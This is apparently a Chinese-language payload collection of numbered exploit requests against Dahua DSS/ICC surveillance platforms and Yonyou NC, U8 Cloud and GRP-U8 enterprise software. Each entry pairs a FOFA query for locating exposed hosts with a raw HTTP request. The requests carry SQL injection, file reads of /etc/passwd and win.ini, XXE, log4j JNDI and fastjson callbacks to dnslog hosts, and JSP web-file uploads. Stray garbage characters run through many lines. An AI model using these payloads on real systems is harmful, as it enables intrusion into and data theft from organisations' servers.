GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
! u. z- S7 x3 j9 [0 r3 B! P& uHost: x.x.x.x
1 W  c! m8 j+ r5 `8 t2 |User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
$ i6 W5 ]& ]6 [9 yAccept: */*
Accept-Language: en
& V) ~! b- h$ t- U/ u$ g* _0 x# I: DAccept-Encoding: gzip

' m9 c; n9 h! p+ x0 U8 A8 {
6 c3 I: @4 e1 D3 C! |* F0 i17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
6 d# p! W1 j1 A7 L! Q+ O2 jPOST /portal/services/itcBulletin?wsdl HTTP/1.1
; ]1 v2 C- V# q4 B' iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 d6 _+ S! t# b9 oConnection: close
Content-Length: 345
Accept-Encoding: gzip
4 ~7 Z% o- N4 k( ]8 z
2 R! l: ~7 E/ c2 C, l<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
; ?$ ]9 b$ G1 M      <netMarkings>
! U2 Y0 m8 x  o4 w       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
$ c7 M: ^8 ^& _% S2 L  z    </ns1:deleteBulletin>
5 Q* h# I, |! }7 e  </s11:Body>
</s11:Envelope>

! P0 `3 Z! H/ H
2 ?6 W' @2 ~  }; D* Y18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
, d, Q6 ^) ~! Q3 I! |FOFA：app="dahua-DSS"
3 @$ ^( ~9 ^! F2 _$ b. IGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 n" t- V& A, l; iAccept-Encoding: gzip, deflate
Accept: */*
; o7 U1 T6 K% G: E6 TConnection: keep-alive
$ x- G: V8 t+ w4 p

3 q) \' p" B1 @: V' \5 A( `# B2 w
  A3 ~+ v5 M1 T# m19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
% |. |$ y9 I: ~: U( Q! t) hAccept-Encoding: gzip, deflate
Accept: */*
& @5 J+ ~' e* g, p7 A$ [5 oConnection: keep-alive
  l7 P; z- w+ e. }: |7 n

$ }6 i4 A8 u/ h20. 大华ICC智能物联综合管理平台任意文件读取
9 B$ D! n7 L+ i' GFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" \% K4 P- V/ J8 ZConnection: close
0 z$ T& c. N5 [: Z% s$ v) g# UAccept: */*
Accept-Language: en
Accept-Encoding: gzip
5 f  h- e' y' q. k- g  F. z/ |8 G6 E

21. 大华ICC智能物联综合管理平台random远程代码执行
+ k/ ?2 u' p: s2 MFOFA：icon_hash="-1935899595"
, c9 O( z7 o  U3 z. k0 ?2 DPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
* m! q1 {+ I8 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ L  r, o( K8 y' m9 D+ tContent-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
+ E& N8 N' t1 {" L! I5 s8 Z
1 s; Y  p- O* Z6 C" W0 x! C/ n: ^{
0 o5 E1 I2 v- n. j( ?" L: F4 N"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
. S% N& G- f- D/ T    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
% C3 K# P% F+ z$ Y
* g  ~# Y! W, B, T
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
1 o0 p0 E' G) i3 ?. G0 ^/ ^! a5 PFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
. U8 `3 s9 X+ ?0 {9 Q6 H% WHost: your-ip
7 w0 z: w! u$ p, XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 v8 M3 W0 _; c2 a- p' cContent-Type: application/json;charset=utf-8
* G# m  T- H' [1 b5 x& M) {
{
"loginName":"${jndi:ldap://dnslog}"
% ]* w) u0 V- ]- \. z& ]}

% ?3 z# C# x4 e3 E4 H% [$ m% S

8 w2 X5 I7 f5 ~  F3 W. P+ @' q; }23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
3 {, s0 Y  D6 i3 j* LFOFA：icon_hash="-1935899595"
- e1 j& ?6 i7 \. r3 B4 k+ P: ]6 H, oPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: f7 n2 y1 D( GContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
; J% j$ X# F/ [+ m1 ?) NConnection: close

5 s! ~* D& x% s: N0 |9 R: o{
    "a":{
( S0 ^$ X9 X' g' A: R* \        "@type":"com.alibaba.fastjson.JSONObject",
/ ?: j& q% B* f3 _7 Y2 v       {"@type":"java.net.URL","val":"http://DNSLOG"}
+ d6 c+ ]6 ], c) C: Q" [        }""
}
% r9 v  c* H+ i6 k( s3 X. Z
! M% {& q5 J# G& `6 r
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
2 a# F& D7 W8 _( [/ Z1 v0 ]( F. H% |Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
( S' D9 {0 R* Y7 `- ?% {6 i6 sConnection: close
Content-Length: 449
Accept: */*
3 V  I- m  o+ G* N- AAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% G6 J% U1 w: W1 d7 S
' x* e8 U. |7 d$ b5 f7 U4 s-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
1 i# ~  [4 H6 W6 |1 W& nContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

. e6 m/ l* b; K9 ~. N% H<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
/ w3 t; z2 T9 K+ H. W) W* W-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
# U% q1 @+ Y( ^6 HContent-Disposition: form-data; name="fname"

9 h4 \( f/ k. U" }4 D. Q\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
6 l% D/ p8 v1 F# b( f; T# t; d-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


& J+ d7 `7 O; X/ X4 ?/ X25. 用友NC registerServlet JNDI 远程代码执行
5 G9 p/ U$ d( F0 C# |# [FOFA：app="用友-UFIDA-NC"
0 A$ f5 w) ?# Q2 xPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
4 h/ t( B9 \; n0 G* C! I% BAccept-Encoding: gzip, deflate
1 T1 _* ~  H+ D2 X$ UAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

2 w; y; S; M4 Etype=1&dsname=ldap://dnslog

% j% D, A9 ?3 ]5 x1 y/ `5 b

26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 n! t; ]$ [6 m; K  hHost: your-ip
0 Y, I* d# g' TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 B% K3 i1 i2 ^7 x9 _- d( v  KContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 i* e, E: H9 n1 |* C: ~: l

27. 用友 NC showcontent SQL注入
* T+ n! Z/ ]4 C+ J* U8 F7 W7 lFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ |: q  M- H4 J1 k, M0 O( B. `Accept-Encoding: identity
Connection: close
' B, d: S+ Q2 _* u0 LContent-Type: text/xml; charset=utf-8
! L! G# U5 w- q! S3 u; p

28. 用友NC grouptemplet 任意文件上传
7 s/ Q- p9 L' @! WFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
1 [/ ~, W( h1 z" O( g3 ^. jHost: x.x.x.x
  _& w- ]2 V2 z7 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
1 Q% h1 e* N1 P3 z: k! d% MAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

$ A& y- }+ O: D$ L. B8 B6 Z, q<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
9 \% A/ v- T0 Z' W------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
* `8 @4 _' J% L: T* s
3 o8 X+ h0 X( B8 I, ~
/uapim/static/pages/nc/head.jsp
- [7 _: Z6 y/ `; G2 z
# S0 I  {9 ]. }2 M  r& N3 T) y4 r$ ^8 s29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
8 v- O6 h+ D# [0 uGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 i* W% O. N, p+ m6 JAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
3 Q. W* d+ Q' c

7 L4 P8 p+ H; T5 \- O* X30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
( J" }8 [/ E* }5 D5 Q9 s% e0 oContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
/ _3 X& e1 x# s/ fContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

* {  P; n: S' _; N* Q# j9 B" o
31. 用友NC runStateServlet SQL注入
version<=6.5
/ P, v" o  J% E2 R' d* h- wFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 r* k# u: u; {9 V  ^* n
& ~) w# R! J, f8 L
5 ?" q8 ]' x: s! f32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
. X: d+ r7 V& @* g4 kGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- {/ u/ a* j4 z( o3 I, hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
: D$ {2 a+ _/ T& s- n; H4 v) kConnection: keep-alive


" J: v4 S, D8 L* p; u( r9 u1 Q) Y33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
% l5 Q( _' ?/ Z$ P/ N# T+ \GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
" @' I  x0 c4 s- G9 zGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 [' e* g9 `# E  K. XHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 I2 I! H$ J8 h2 E8 q2 XContent-Type: application/x-www-form-urlencoded
0 Y8 W7 }4 {% Q; r# BAccept-Encoding: gzip, deflate
; ?8 N" O. }3 I3 H6 F5 ~, n9 j3 pAccept: */*
Connection: keep-alive


9 K' ]& l, i' o4 [9 A4 H35. 用友NC-Cloud importhttpscer任意文件上传
4 M% N/ T8 H3 ^3 u1 uFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
9 J# `' S: `: T- A( ?Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
; B% w2 A/ |! L! _' V' j$ \accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
4 T2 h3 L- i/ z, ?2 t. m" HContent-Length: 190
- a0 N/ c. m6 pContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
' c1 A3 ?3 Z. X' A' W9 _Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

# }# W) @$ ]2 V6 J& Z' i<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

' C7 G5 k1 _/ f% x5 w
36. 用友NC-Cloud soapFormat XXE
. N3 [; j' l! V/ c: RFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
! ?; F8 M' X# B) A# {' JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
! }+ k, f. X" H6 S( p+ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 d: B. T' ]) D- b) T- TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
( X' R( A) z* \6 X$ i. O3 BUpgrade-Insecure-Requests: 1

* ~# u, _; T; x. T- |4 q1 ?+ Q6 _msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


9 Y! j) |8 p+ {37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
# D# H. R. i2 i2 M: O9 q/ e" L& M1 I) vPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
/ J0 _; k! {9 C1 g; qHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
. q  O5 v5 `/ F7 q; @) BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
$ [$ u2 D. x8 ?0 r1 }  I5 D& VAccept-Language: zh-CN,zh;q=0.9
$ x- ]+ g2 f6 T9 b" u# ?' J& dConnection: close
2 k: U8 ^9 l$ E9 P, ^& P% kContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
4 f3 o; f8 Z/ k" w, `<soapenv:Body>
- c  g  G  H& ]- K: N8 p/ P; i<iup:getResult>
<!--type: string-->
6 e4 n2 E% h5 h/ i. I. H<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
, t( q6 b8 C* v<xxx/>]]></iup:string>
</iup:getResult>
* x  q9 H7 w3 {; _7 W. J( {</soapenv:Body>
4 s: n& N9 A1 W</soapenv:Envelope>
! w7 P- R  J5 R# p$ N8 p' r
& Y0 d1 f% m/ Z0 {0 H: Y# P/ \4 t
, G) ?2 N9 ]1 ^3 [& M% }( F
. W9 K0 R" I5 ~( o' m7 f. v9 Y) n38. 用友U8 Cloud smartweb2.RPC.d XXE
* K: S8 B) Z8 D+ v6 p, R0 D7 GFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
: D% `, Z" V' c. SHost: 192.168.40.131:8088
7 [( b* N' u& R- e: K; N8 \( PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
4 e6 {8 k9 @* ?! v" X% |- fContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
7 Q8 t% U& P) T4 F, NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
( C% s( F9 Q  f. r. z
! V4 o& Z9 v' k. p- {
6 ]$ U  g: l; y) U7 K1 x39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
) i' \# O# Y6 |' R1 @( uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
8 j/ P: H& R) I0 q/ z" mAccept: */*
Accept-Language: en
3 x5 r  _) G' ?' _/ P7 H$ ?" A" ]Content-Type: application/x-www-form-urlencoded
$ d5 Z4 @1 X5 z& x9 r9 jX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
) x" b5 k9 {: [: U/ S( w' ?
4 A8 G/ f0 x6 fusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
/ }1 P# T3 U6 w
, R* F9 Y1 t9 r& C
: Y0 D9 M# ?( ~  v$ i7 _' G& e40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
6 }. ]( Q" T5 _POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
' M' h- B5 |5 Y# }* Y/ \  V  w# oUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 R1 g9 C2 Y" B8 |Content-Type: text/xml
Connection: close

5 J, \; `2 v1 n1 D0 t; i# K<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


* Z! z. c# h- J, q: @7 n7 N* @: [41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
& b7 X5 h! M9 y0 Y1 _' UFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
; D: l6 t9 e) I7 R9 o/ U9 KHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
: U; L+ C4 X3 B# Q2 ?  \Accept-Encoding: gzip
Connection: close
6 n2 w& [, O2 x! j7 a
. e4 C- ]) a3 R" [" O) p) P; n2 O  J4 n
42. 用友GRP-U8 SmartUpload01 文件上传
, [3 J0 s6 L9 mFOFA：app="用友-GRP-U8"
5 W: n4 Q- k! ^$ g3 P: TPOST /u8qx/SmartUpload01.jsp HTTP/1.1
; G9 V. P1 M/ Z. Z1 `: iHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
' N( c9 U9 Q2 @% `
" ?: z* I' d' U# \! ePAYLOAD

' t8 R: i/ w1 {2 d. @  k
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

' V- e& Y# h% `6 ]' z5 R43. 用友GRP-U8 userInfoWeb SQL注入致RCE
1 H+ |3 F, s; P/ Q7 Z1 Q# aFOFA：app="用友-GRP-U8"
9 u0 q& ~5 m! _- s5 [! P- jPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. O1 Y1 H- u% F0 l( {Connection: close
+ U6 e2 p  E. }) qSOAPAction:
Content-Type: text/xml;charset=UTF-8
! Q' p% g9 t- V/ U
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
4 P" I4 u3 ~- M   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
1 t$ b$ M& K, `2 f0 }$ u. L* ?0 J/ ?- N      </ser:getUserNameById>
8 X' K6 |  G  y9 D   </soapenv:Body>
</soapenv:Envelope>
  n* X0 l! i3 `" n" D/ l

0 N# i- ?7 x$ v7 q1 w' K44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
# a8 i6 y) _7 A- ]* u/ Z$ ^% M0 nHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
/ I( g3 z2 |- t) J2 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
8 E2 I3 G9 ]5 H" V+ }
+ i2 {. _. ^! F% n3 b( {  t
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
! j9 ~, G" \6 e0 C  \Host: 192.168.40.130:222
3 \1 c. A3 V( _" h: h4 F2 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
( B: q. s$ Z! x& Z% @3 j6 GConnection: close
Content-Length: 161
* n; b; r3 V4 L' z% V, X" @! nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" }% F' ^( a& J. b% kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. f& C+ K. G8 h$ c: @2 wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
% K$ H0 N' [! |! M$ _
2 k2 ^  ?# W# n0 _9 M, _reqData=<?xml version="1.0"?>
. H& z; V* O' `$ V/ U5 l' ]4 s<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

  O/ x1 `; h6 s
- |4 g- `# }) H  M) j0 T* D, F/ a46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. x. M) k7 V1 a5 \' PFOFA：app="用友-GRP-U8"
% }% }& C; ?5 B: S2 O1 DGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 {0 a: W" E  x; i, i) }  K) p8 B8 j7 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( E: ^4 Y; z+ B( l( g" |  x4 {  `* T8 cAccept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
% n( q' @  d  @: {  d  lHost: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
